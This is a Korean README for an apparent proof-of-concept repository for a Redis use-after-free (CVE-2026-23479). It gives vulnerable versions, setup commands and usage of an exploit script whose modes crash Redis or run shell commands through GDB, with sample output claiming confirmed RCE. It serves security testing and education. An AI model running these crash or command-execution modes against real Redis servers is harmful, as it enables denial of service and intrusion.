
GDB 지원 익스플로잇을 사용한 개념 증명(교육용/실습용 전용)
Redis
unblockClientOnKey()의 Use-After-Free로 인한 원격 코드 실행
GDB 기반 익스플로잇 개념 증명 (교육 / 실습 용도로만 사용)
CVE-2026-23479는 Redis 7.2.0부터 8.6.2 버전에 존재하는 치명적인 Use-After-Free (UAF) 취약점입니다.
이 버그는 unblockClientOnKey()에 존재하며, 이 함수는 반환 값을 확인하지 않고 processCommandAndResetClient()를 호출합니다.
해당 호출 중에 클라이언트가 해제되면(예: 축출로 인해), 호출자는 댕글링 포인터를 계속 조작하게 되어 → UAF가 발생합니다.
해제 후 힙을 조작할 수 있는 공격자는 임의 코드 실행을 달성할 수 있습니다.
이 저장소는 다음과 같은 GDB 기반 PoC를 제공합니다:
freeClient() 호출)를 유발하여 UAF를 입증system() 호출을 주입하여 임의 명령 실행을 시연⚠️ 중요: 이것은 무기화된 익스플로잇이 아닙니다. 권한이 있는 Docker 컨테이너 내부에서 GDB를 사용하여 실제 공격자가 취약점을 성공적으로 익스플로잇한 후 달성할 수 있는 것을 시뮬레이션합니다. 오직 자신의 실습 환경이나 테스트 권한을 명시적으로 부여받은 시스템에서만 사용하십시오.
https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea
crash, gdb, rce, full--container를 통해 임의의 컨테이너 지정XREAD BLOCK 명령이 클라이언트를 스트림 데이터 대기 상태로 만듭니다.pid 1)에 연결됩니다.processCommandAndResetClient에 중단점을 설정합니다. 이 함수는 차단된 클라이언트가 재처리될 때 호출됩니다.XADD를 수행하여 희생자를 깨웁니다.gdb 모드: freeClient($rdi)를 호출 → 의도적으로 SIGSEGV를 유발 → UAF 입증.rce 모드: system("your command")를 호출 → Redis 사용자(기본적으로 root) 권한으로 임의의 셸 명령을 실행.중단점은 차단된 클라이언트가 차단 해제될 때마다 발생하며, UAF를 포함하는 동일한 코드 경로가 코드 실행도 허용함을 보여줍니다.
| 브랜치 | 취약 범위 |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
스크립트는 Redis 버전을 자동으로 파싱하여 취약 여부를 보고합니다.
apt를 사용하는 Redis 8.6.2 Docker 이미지 (예: 공식 redis:8.6.2)--privileged**로 생성되어야 함 (ptrace에 필요)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| 모드 | 설명 |
|---|---|
crash | 메모리 압박을 통해 UAF를 트리거 시도 (GDB 불필요). Redis가 크래시할 수 있지만 보장되지는 않음. |
gdb | GDB를 연결하고 중단점에서 freeClient()를 호출 → SIGSEGV를 강제 발생 (UAF 입증). |
rce | GDB를 연결하고 중단점에서 system(cmd)를 호출 → 컨테이너 내부에서 셸 명령 실행. |
full | 먼저 crash를 실행하고, Redis가 크래시하지 않으면 gdb로 대체. |
| 인자 | 기본값 | 설명 |
|---|---|---|
target | (필수) | Redis 서버의 IP 주소 |
-p, --port | 6379 | Redis 포트 |
-m, --mode | full | crash, gdb, rce, full 중 하나 |
--container | env-redis-vuln-1 | Docker 컨테이너 이름 |
--cmd | id > /tmp/pwned_by_cve | rce 모드에서 실행할 명령 |
참고: 모든 명령은 Docker 컨테이너 내부가 아닌 호스트 머신에서 실행됩니다.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis는 세그멘테이션 폴트 후 크래시합니다.
컨테이너 재시작:
docker start redis-vuln-local
깨끗한 상태를 보장하기 위해 Redis를 재시작합니다:
docker restart redis-vuln-local
익스플로잇 실행:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
증명 파일 확인:
docker exec redis-vuln-local ls -l /tmp/pwned
성공하면 파일이 존재하며, 이는 다음이:
system("touch /tmp/pwned");
Redis 컨테이너 내부에서 실행되었음을 입증합니다.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Redis가 예기치 않게 종료되면(컨테이너가 더 이상 실행되지 않음), UAF가 트리거되었을 가능성이 높습니다.
다음으로 재시작:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
이 모드는:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
원본 PoC는 env-redis-vuln-1이라는 컨테이너에 하드코딩되어 있었고, 최신 Python 버전에서 실행할 때 여러 문제가 있었습니다.
업데이트된 버전은 다음과 같은 개선 사항을 도입했습니다:
| 문제 | 수정 |
|---|---|
| 하드코딩된 컨테이너 이름 | --container 인자를 추가하고 모든 함수에 전파했습니다. |
GDB 스크립트의 commands 블록 안에 file 명령이 위치 | GDB가 심볼을 올바르게 로드하도록 file /usr/local/bin/redis-server를 attach 앞으로 이동했습니다. |
subprocess.run()에 capture_output=True와 stderr=...를 함께 사용 | stdout=subprocess.DEVNULL과 stderr=subprocess.DEVNULL로 대체했습니다. |
오래된 GDB 프로세스로 인한 ptrace: Operation not permitted 발생 | trigger_uaf_gdb()와 trigger_rce() 모두에서 GDB 실행 전에 pkill -9 gdb를 추가했습니다. |
| GDB가 조용히 실패할 때 피드백 없음 | GDB 출력에 대한 디버그 로깅을 추가하고 증명 파일 감지를 개선했습니다. |
docker stop redis-vuln-local
docker rm redis-vuln-local
이 도구는 오직 교육 목적, 승인된 보안 연구, 그리고 본인이 소유하거나 평가에 대한 명시적 허가를 받은 시스템의 테스트를 위한 것입니다.
작성자는 무단 또는 악의적인 사용을 용인하거나 장려하지 않습니다.
프로덕션 또는 제3자 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.
보안 커뮤니티를 위해 ❤️로 제작되었습니다.
윤리적으로 행동하세요. 안전을 유지하세요.